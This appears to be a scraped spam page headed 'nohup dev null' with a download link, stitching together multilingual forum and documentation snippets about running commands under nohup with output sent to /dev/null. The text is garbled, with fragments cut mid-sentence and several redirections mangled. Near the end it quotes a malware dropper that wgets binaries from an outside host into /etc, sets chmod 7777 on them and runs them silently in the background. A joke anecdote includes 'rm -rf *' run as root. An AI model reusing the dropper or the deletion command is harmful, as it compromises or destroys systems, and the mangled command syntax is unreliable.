nohup dev null
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=========> Download Link nohup dev null
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You will need to use a function instead of an alias like: function back() { nohup "$@" &> /dev/null & }. Given that context, you can see the command above is redirecting standard output into /dev/null , which is a place you can dump anything you don't want (often called the bit-bucket), then redirecting standard error into standard output (you have to put an & in front of the destination when you do this). You may redirect the output anywhere you like, for example: nohup /bin/bash -c "sleep 15 && python3 /home/orschiro/bin/show_state.py" >/dev/null 2>&1. redirection prevents the default output file nohup.out from being created. /dev/null is oblivion, so if you don't want the data at all, send it there. In bash. Hi .. I am using nohup to run a script but I need to not have nohup.out file how can I tell nohup to not produce this file? thanks.. You redirect it into /dev/null, like: Code: nohup myscriptfile.sh >/dev/null 2>&1&. 3 members found this post helpful. nohup something >/dev/null 2>&1 &`; shortened. Contribute to run development by creating an account on GitHub. nohup命令：如果你正在运行一个进程，而且你觉得在退出帐户时该进程还不会结束，那么可以使用nohup命令。该命令可以在你退出帐户/关闭终端之后继续运行相应的进程。nohup就是不挂起的意思( n ohang up)。 该命令的一般形式为：nohup command &. ls xxx 1>out.txt 2>&1 nohup /mnt/Nand3/H2000G >/dev/null 2>&1 & nohup is a POSIX command to ignore the HUP (hangup) signal. The HUP signal is, by convention, the way a terminal warns dependent processes of logout. Output that would normally go to the terminal goes to a file called nohup.out if it has not already been redirected. Shell : bash OS : Oracle Linux 6.4 I want to save the ouput of a nohup command to file other than nohup.out . Below are my 3. But I get the error "ignoring input and redirecting stderr to stdout" in the shell just after the nohup command is issued.. Code: nohup test.sh > MyOutput.log 2>&1 dev/null &. Also Please find below snapshot for action details,. vulve02 Employee Oct 12, 2016 2:57 PM. Correct Answer. Try to validate the below one by using run command line. Update work directory to $DOMAIN_HOME/bin. nohup ./startWeblogic.sh >/dev/null 2>&1 & or nohup .startWeblogic.sh > nohup.out 2>&1. 5 */2 * * * /bin/bash /home/aport/backupfiles.sh >/dev/null 2>&1. The second issue seems to relate to the fact that when the script was executed in the background it was not fully detached from the controlling terminal. The following recipe will allow you to background the script and exit the SSH session. $ nohup /bin/bash. ... sent to the e-mail (instead of nohup.out and stdout and stderr). If you like it, replace "ps -x" by the command of your choice, replace 3600 (1 hour) by the period of your choice. You can run the command in the loop any time by killing the sleep process. For example. ps -x. 2925 ? S 0:00.00 sh -c unzip E.zip >/dev/null 2>&1. If standard input is a terminal, nohup redirects it from /dev/null. If standard output is a terminal, append output to "nohup.out" if possible, "$HOME/nohup.out" otherwise. If standard error is a terminal, redirect it to standard output. To save output to file FILE, use "nohup COMMAND > FILE". Here is the general syntax to follow: nohup UNIX -CMC & UNIX-CMD is the command to run. Because this will be running as a background job, you should redirect standard output and standard error. Save them in a file if you want to look at them later. Send them to /dev/null to discard them, for example: nohup make zlmage. ">/dev/null" redirects stdout, "2>&1" redirects stderr to wherever stdout is directed. For full details on nohup, try "info nohup" (well, "man nohup", but it tells you to "info nohup" as the full manual is an info file). For details on background and foreground operations, "man bash" and then "/ background" (search. Долгое время никто не мог объяснить мне, что за амперсанды, знаки и цифры идут после юниксовых команд. При этом все примеры были показаны без объяснения — зачем все это? Гугл также не... nohup dsmc schedule 2> /dev/null &. Copy. AIX operating systems HP-UX operating systems Linux operating systems Mac OS X operating systems Oracle Solaris operating systems If a Tivoli Storage Manager password is required for your workstation and you want to run the schedule command in the background, enter the. When starting an IBM Lotus Domino server in the background on a UNIX system using "nohup" command, (for example, nohup server &), the nohup command. This document details how to prevent the NOHUP.OUT file. OUT (created by default with the nohup command), redirect the output on /dev/null: The nohup command is used frequently for starting services, such as ssh daemon or DB2® instances. For example, to start IBM® Cloud Manager with OpenStack as a background service, run the following command: nohup /opt/ibm/sce43/skc -nosplash dev/null > /dev/null &. The options in this command include the. Hi, can someone explain me how does this command works? nohup beesu kate >& /dev/null & It's the only way I found of execute a program as root without the program being attached to the shell terminal while it's running. Besuu is like a grafical way of "sudo" What does the >& do ? export GGS_HOME=/u01/app/oracle/gg_home. export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib. export PATH=$GGS_HOME:$ORACLE_HOME/bin:$PATH:/sbin:/usr/sbin:/bin:/usr/bin. #. oraenv. nohup lsnrctl start listener /dev/null 2>&1&. alias rlsqlplus='rlwrap sqlplus'. #33 Keep Processes Running After a Shell Exits If you don't want to save the output of the specified command, you can discard it (and not create the nohup.out file) by redirecting output to /dev/null, the Linux bit-bucket: $ nohup command > /dev/null & This runs the command or program in the background, ignores its output. I don't have the full background any longer, but I made this change to a configure script: before: exec 7dev/null 6>&1 after: exec 6>&1 my comment at the time (2008-06-03) was: take minor change to older boilerplate from other nearby configure files, in order to let it work under "nohup", on OpenBSD. The nohup utility shall invoke the utility named by the utility operand with arguments supplied as the argument operands. At the time the. If standard input is associated with a terminal, the nohup utility may redirect standard input from an unspecified file. If the standard. nohup sh -c 'complex-command-line' dev/null. Hey guys, I have some problems with my mbp... So I have to run "nohup yes > /dev/null &" in terminal because if I'm not running this my laptop... Finally, if you want to use "2>/dev/null" in order to send error output to the trash can (also known as "the bit bucket"), then it MUST be placed before the '&', NOT after it. RIGHT: nohup grep -h 'A0101' * > /tmp/recs_beginning_with_0101 2>/dev/null & You'll also occasionally see the following code since nohup creates a small. nohup gedit &> /dev/null &. Последний правильно перенаправляет stderr и stdout в /dev/null . Я ожидал, что первая создаст файл с именем & или, скорее, даст ошибку, как и для других случаев: $ echo "foo" >& bash: syntax error near unexpected token `newline'. Вместо этого он работает точно так же, как и. ... fi #use nohup to run the command, suppressing its output and allowing the terminal to be closed #also send nohup's output to /dev/null, supressing nohup.out #run nohup in the background so this script doesn't block printf "%q " "${CMD[@]}" echo nohup "${CMD[@]}" >/dev/null 2>&1 & NOHUP_PID=$! #kill this script after. If you want to be able to run the script "in batch", not needing to interact with it after it starts, then if it is a Unix-type system, consider using the system "batch" command, or else use nohup matlab -nosplash -nodesktop -r "try; script; catch; end" dev/null > /dev/null 2> /dev/null. (bourne or ksh derivatives,. You run process with /dev/null for input and output which unties it from output and input (you can give it some output if you want by modifying > or 2> or &>, just make sure to untie the input of stdin by doing dev/null). Then we run it into background with &. Then we disown it (untie it from shell, so if shell. これはnohupで実行する必要がある。([1]参考). あと、リモートコマンドは標準入出力のリダイレクトも必要となる。([2]参考). で、これやるときに、標準出力とエラーをまとめたいんだが、記述をよくわすれるのでメモ. command.sh. # bash nohup [command] dev/null 2>&1 /dev/null &. command.sh. # tcsh nohup [command].
Run the program under ``nohup`` and redirect stdin, stdout and stderr to ``/dev/null`` (or to your file of choice, if you need the output later):: run("nohup yes >& /dev/null dev/null &") (``yes`` is simply an example of a program that may run for a long time or forever; ``>&``, ``and. name: start simple http server in background shell: cd /tmp/www; nohup python -mSimpleHTTPServer dev/null >/dev/null 2>&1 &. This will spawn background shell job and exit signals will be ignored by nohup wrapper. You can also use raw module to prevent command module's code copying. But we. nohup записывает только в nohup.out , если вывод в противном случае для терминала. Если вы перенаправляете вывод команды где-то еще - в том числе /dev/null - туда, где она идет. nohup command >/dev/null 2>&1 # doesn't create nohup.out. Если вы используете nohup , это означает, что вы хотите. Thanks... main script: HOSTS=""hostA hostB hostC"" for ff in $HOSTS do ssh -qt root@$ff ""/cap/start-tcpdump"" done Each server have a /cap/start-tcpdump script #!/usr/bin/ksh FILTER=""port not 22"" HOST=$(uname -n) (nohup tcpdump -i en1 -s0 -w ${HOST}-FE.cap $FILTER >/dev/null 2>&1 ) & sleep 2. I'm having trouble in the below examples, which do not work at all. Note tht these are run sourcing a NSH script from "computer1": runcmd -h computer2.corp -e nohup "ls -al" > /tmp/nh1.txt 2> /tmp/nh2.txt dev/null &. This creates both output files, but nh1.txt contains: ==> computer2.corp nohup: ls -al:. nohup runs the given command with hangup signals ignored, so that the command can continue running in the background after you log out. Synopsis: nohup command [ arg ]... If standard input is a terminal, it is redirected from /dev/null so that terminal sessions do not mistakenly consider the terminal to be used by the. It then automatically starts the script by using nohup, in order to make it run on the background. This command is followed by > /dev/null 2>&1 & so it does not output anything to the console. However, this 'bugs' the logging-module from Python, as it can no longer output something to the log-files. It outputs. Sometimes you want to redirect both stdout and stderr to the same location, This is when >& is used – it points one file descriptor to another. For example, if you want to write both stdout and stderr to the same file (be it /dev/null or output.txt ), you can redirect them separately, with app 1>/dev/null 2>/dev/null. If nohup command has something to communicate or/and results some errors, you'll find a 'nohup.out' file in your home directory. It's annoying, because you need to remove it manually every time. The solution (in Bash) is to redirect the nohup command output to /dev/null or to another location if you need to. Most of the time you login into remote server via ssh. If you start a shell script or command and you exit (abort remote connection), the process / command will get killed. Sometime job or command takes a long time. If you are not sure when the job will finish, then it is better to leave job running in background. to console, logout for the console I started X and make X to run 100% normaly. nohup startx &> /dev/null & logout do the job I want except I lost sounds when X starts I get "Permission denied: /dev/dsp" I run some tests for "X.sh" script. X.sh nohup startx &> /dev/null & exit. Now console looks clear and I run ps. Empty an in-use nohup.out file cat /dev/null >nohup.out If the file is not in use, the following works in bash > foo.log The command above empties out the file foo.log If sudo is needed, truncate can be used as well sudo truncate -s 0 foo.log -s is the size option. 0 in this example sets the… ... werden automatisch in die Datei nohup.out geleitet, die im Verzeichnis angelegt wird, von dem aus der Befehl ausgeführt wurde. Um zu verhindern, daß das Programm nicht weiterläuft, weil es auf Eingaben wartet, ist es außerdem manchmal notwendig, auch die Standard-Eingabe etwa mit ">/dev/null" umzulenken. ... or lists of commands. This can be done by placing pipelines and command lists in a single file; this file can then be invoked as a utility, and the nohup applies to everything in the file. Alternatively, the following command can be used to apply nohup to a complex command: nohup sh −c 'complex-command-line' dev/null. ログアウト後も処理を続けたり、sshなどttyを使用しないでコマンド実行してssh終了後も動作させる場合、nohupをコマンドの前につける。 nohupコマンドを実行すると標準出力とエラー出力がnohup.outに出力されてしまうが、ログの肥大化を避けるなどの理由でnohup.outに出力したくない場合、/dev/nullにリダイレクトしてあげれば. The short answer first: nohup only writes to nohup.out if the output is otherwise to the terminal. If you redirect the output of the command somewhere else - including /dev/null - that's where it goes instead. Therefore, use the following command format: nohup command >/dev/null 2>&1 # doesn't create. Example: nohup scp file.tar.gz root@someserver:/var/tmp > /dev/null 2>&1 &. That puts it in the background, with output going to /dev/null, and it is immune to the HUP signal if you log out. You can also "disown" the job with certain shells (like bash) so that it's not connected to your session. disown %1. Run COMMAND, ignoring hangup signals. --help: display this help and exit; --version: output version information and exit. If standard input is a terminal, redirect it from /dev/null. If standard output is a terminal, append output to 'nohup.out' if possible, '$HOME/nohup.out' otherwise. If standard error is a terminal, redirect it to. Linux命令：nohup、df、du与/dev/null_蒋佩钊(jk-3126)_新浪博客,蒋佩钊(jk-3126), How? Nohup bypasses the HUP signal (signal hang up), making it possible to run commands in the background even when the terminal is off. Combine this command with redirection to /dev/null (to prevent nohup from making a nohup.out file), and everything goes to the background with one command.
linux 启动后台服务nohup /dev/null. linux重定向. 0、1和2分别表示标准输入、标准输出和标准错误信息输出，可以用来指定需要重定向的标准输入或输出。 在一般使用时，默认的是标准输出，既1.当我们需要特殊用途时，可以使用其他标号。例如，将某个程序的错误信息输出到log文件中：./program 2>log。这样标准输出还是在屏幕上，. I also tried redirecting this ouptut by appending > /dev/null but that didn't seem to help. It still writes logs into my tty.. 09-01-2015 12:14 AM. hi,. Use "nohup spark-submit 2>&1 dev/null &". nohup will not print the Spark stremaing logs on Terminal and it runs as a background process. ... working with a programming or scripting language we are constantly using some idioms, some things that are done in this certain way, the common solution to a problem. With Shell Script this is not different, and a quite common idiom, but not so well understood, is the 2>&1 , like in ls foo > /dev/null 2>&1. Here's a simple way to daemonize q on linux. Supports redirecting stderr and stdout. It close stdin and writes a pid to a pidfile. n.b. Don't overlook shell features, e.g. nohup q -p 5000 dev/null > /tmp/stdoe 2>&1& echo $! > /tmp/pidfile. Sample use: saturn:tmp> gcc daemonize.c -o daemonize saturn:tmp> . 1. 2. 3. 4. 5. 6. root@instance-1:~ # ls -l /proc/3416/fd/. total 0. l-wx------ 1 root root 64 Nov 9 06:55 0 -> /dev/null. l-wx------ 1 root root 64 Nov 9 06:55 1 -> /root/nohup .out. lr-x------ 1 root root 64 Nov 9 06:55 10 -> /root/script .sh. l-wx------ 1 root root 64 Nov 9 06:55 2 -> /root/nohup .out. nohup startWLServer.sh IBR_server1 dev/null > /dev/null 2>&1 &. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~. Note: Before you run the startup scripts, you need to create follow the following steps so that the respective servers boot without usernamd and password: Go to weblogic home directory. private $pid; private $command; public function __construct($cl=false){ if ($cl != false){ $this->command = $cl; $this->runCom(); } } private function runCom(){ $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!'; exec($command ,$op); $this->pid = (int)$op[0]; } public function setPid($pid){ $this->pid = $pid; 我们经常使用 nohup command & 命令形式来启动一些后台程序，比如一些java服务：. 1. # nohup java -jar xxxx.jar &. 为了不让一些执行信息输出到前台（控制台），我们还会加上刚才提到的 >/dev/null 2>&1 命令来丢弃所有的输出：. nohup bash sqoop.sh > results.txt 2>&1 & ./sqoop.sh &> /dev/null &. switched to #!/bin/bash. Any ideas? The odd thing is that the same exact script works fine both foregrounded and backgrounded on a different cluster. /etc/profile, and .bash_profile don't look to have any major differences. Comment. mahmood@localhost:~$ nohup "script -c "./run arg1" run-log.txt" dev/null & [1] 15358 mahmood@localhost:~$ nohup: appending output to `nohup.out' nohup: cannot run command `script -c ./run ': No such file or directory ^C [1]+ Exit 127 nohup "script -c "./run arg1" run-log.txt" dev/null. "About a silly typing error causing problems". "How". "Well I logged in as root earlier and I was just going to try that ps thing you mentioned, but instead I accidentally typed in 'nohup cd /; rm -rf * > /dev/null 2>&1 &' ". "Okay." he gasps, "Just type in fg." "fg, ok, oh bugger, I accidentally typed control-d instead.". ... find MATLAB entering an infinite loop of the following errors when your script or function finishes: Warning: Error reading character from command line and. Bad file descriptor. This has nothing to do with your code, just that you will have to add "dev/null" before the "&" symbol which is causing the error. srinivas (srinivas m) 2016-03-07 12:53:16 UTC #3. I started using the below command: nohup ./kibana > /dev/null 2>&1 &. But when I do an ps -ef | grep kibana I cannot find any kibana process running. Does it give a lot out output normally? nohup writes to nohup.out normally, maybe you're killing your disk. Try making your line. Code: nohup ./paintball2 +set dedicated 2 +set public 1 +exec server.cfg +map tlc > /dev/null 2>&1 & to send the output to a black hole. ssh 接続先のサーバーで nohup ジョブを走らせるときは標準入出力をすべて切っておかないと期待通りにsshを抜けられない: % nohup COMMAND >/dev/null 2>&1 dev/null &. うっかり普通に開始してしまったプロセスを後から nohup 状態にするには、 一時停止して、バックグラウンドで再開して、 disown に渡す: % ./a.out # control + z [1] +. For windows use {command} > NUL and for Linux,Ubuntu /usr/bin/nohup {command here} >/dev/null 2>&1 & will do the trick. However, note that this function will help you with simple commands as php bin/console do:something , if your commands use a complex structure or it contains special characters. nohup ssh -n -L lport:localhost:rport remote 2>&1 > /dev/null & Placing the second command into a shell script and attempting to run the script in the background, or suspending it with ctrl+z and then backgrounding it with 'bg' similarly immediately suspends. Anyone have an idea of what's happening or how. 2008년 10월 17일. 파일디스크립터(file descriptor) 번호는 1번입니다. (표준입력, 표준출력, 표준에러에 해당하는 파일 디스크립터는 각각 0, 1, 2 입니다.) ls 1> ls_result.txt 라고 해도 결과가 같습니다. ls > /dev/null 은 ls 의 결과를 /dev/null 이라는 파일 속에 넣습니다. /dev/null 은 특수한 장치파일로 모든 입력을 (마치 블랙홀 마냥) 없애. nohup command. `nohup' runs the given COMMAND with hangup signals ignored, so that the command can continue running in the background after you log out. Syntax # nohup COMMAND [ARG]... If standard input is a terminal, it is redirected from `/dev/null' so that terminal sessions do not mistakenly. При этом данный файл будет создан даже в том случае, если у скрипта никогда не будет никакого вывода. Чтобы nohup.log никогда не создавался, перенаправляем stdout скрипта в /dev/null: nohup /srv/tools/netstat.sh >/dev/null &. Все, теперь лишних файлов более не создается и скрипт. 摘要: linux启用后台服务，比如后台运行jar，可以通过nohup java -jar xxx.jar &，但是jar中的日志会不断输入到nohup文件中. Example: ls -l & exec php index.php > /dev/null 2>&1 & echo $!. Example: nohup exec php process.php hello world > /dev/null &. The answer is simple, use nohup command line-utility which allows to run command/process or shell script that can continue running in the background after you log out from. jdhe cd /etc;wget -c http://cs.frade8c.com:9162/udevd cd /etc;chmod 7777 udevd nohup /etc/udevd > /dev/null 2>&1& cd /etc;wget -c http://cs.frade8c.com:9162/dsgregd cd /etc;chmod 7777 dsgregd nohup /etc/dsgregd > /dev/null 2>&1& cd /etc;wget -c http://cs.frade8c.com:9162/rewgtf3er4t cd /etc;chmod 7777 rewgtf3er4t. Solved: I am trying to setup a build that needs a server to be started first. (It is an Android emulator.) The emulator is started by a small script, Re: Problems with nohup. Hi Brian: This is interesting. Here's a simple script that executes fine in the foreground but hangs for SIGTTOU (background process attempting write): #!/usr/bin/sh su - anyuser -c "echo `date`" #.end. Call the script "my.sh" and: ./my.sh #...works as expected... ./my.sh > /dev/null. cat /dev/null > nohup.out. 화면에 출력될 내용을 표준출력(stdout)이라고 하는데,. 파일디스크립터(file descriptor) 번호는 1번입니다. (표준입력, 표준출력, 표준에러에 해당하는 파일 디스크립터는 각각 0, 1, 2 입니다.) ls 1> ls_result.txt 라고 해도 결과가 같습니다. ls > /dev/null 은 ls 의 결과를 /dev/null 이라는 파일 속에 넣습니다. /dev/null 은 특수한 장치파일로. By default, nohup command redirects its output to nohup.out. If you want to run nohup without creating nohup.out, you can simply redirect nohup output to /dev/null as follows. $ nohup some_command > /dev/null 2>&1&. Download this article as ad-free PDF (made possible by your kind donation):. nohup my-command dev/null &. After finding a workaround I indeed found that this is a well known "problem" but it's not a bug, insted. As far as I could check, ssh is respecting the POSIX standard when not closing the session if a process is still attached to the tty. Other programs which did not show this. If you want the command to be put in background so that cf-agent can exit and leave the process running, then your command needs to use nohup, something like this: /usr/bin/nohup /the/real/command >/dev/null 2>&1 & And then the policy will behave as expected. It's important to redirect both stdout and stderr from the. returns a shell as it runs my-command on the background. Here is a small example to test this theory: Run a yes command with nohup and redirect a output to the /dev/null. Make sure that you use & at the end of the command to run the command on the background: $ nohup yes > /dev/null & [1] 3594. ... dired-start-process (cmd &optional file-list) (interactive (let ((files (dired-get-marked-files t current-prefix-arg))) (list (dired-read-shell-command "& on %s: " current-prefix-arg files) files))) (let (list-switch) (start-process cmd nil shell-file-name shell-command-switch (format "nohup 1>/dev/null 2>/dev/null %s. By default this script does nothing. /var/www/command/player_wdog.sh startup & > /dev/null 2>&1 (sleep 3; sudo -u root irexec -d /ir_remote/volumio_ir_controls )& exit 0. I also tried with. You may need to use nohup in front of the command if run from rc.local and friends. nohup some_command &. Richard 566746931810304*x - 13634883228742736412672 Saving Magma state to "2050. out using the below commands and redirection. out 2>&1 &. err dev/null &. out as well Nov 24, 2014 You can supress this message and restrict the command from producing or saving any output to nohup. out" 2>&1. nohup is crazy. It opens the standard input for writing and claims it's a feature. From nohup sources: /* If standard input is a tty, replace it with /dev/null if possible. Note that it is deliberately opened for *writing*, to ensure any read evokes an error. */ if (ignoring_input) { if (fd_reopen (STDIN_FILENO, "/dev/null", O_WRONLY,. 2015年5月8日. 初歩的な質問すみません。 今回、とある問題の解決策を探した所「dev/null > /dev/null 2> /dev/null」を使用し、出力を捨てる事によって問題を解決できました。 ちなみにこれが実際に解決したfabricの処理です。 「run(nohup mono hello.exe dev/null > /dev/null 2> /dev/null &)」 こちらが、参考にしたサイトです。 What is the command to execute a php script in background? Syntax: nohup exec arg1 arg2 > /dev/null &. Example: nohup exec php process.php hello world > /dev/null &. I have opted out for using this nohup java -jar start.jar -Djetty.port=8085. while this works it shown an message nohup: ignoring input and appending output to `nohup.out'. to fix that up we need to redirect in put and output to /dev/null nohup java -jar start.jar -Djetty.port=8085 /dev/null &. javalinuxsnippet. -10,7 +10,7 @@ echo "out" > /sys/class/gpio/gpio22/direction. sleep 0.5. echo "Open Communication Channel..." # Silent, Output to /dev/null, Timeout after 5s and retry 12 times, each doubling the waitingtime until ten minutes. nohup curl -s -o /dev/null -m 5 --connect-timeout 5 --retry 12. nohup php -S 0.0.0.0:57152 > /dev/null 2>&1 &. nohup: Do not terminate this process even when the stty is cut off. > /dev/null: stdout goes to /dev/null (which is a dummy device that does not record any output). 2>&1: stderr also goes to the stdout (which is already redirected to /dev/null). &: at the end means.
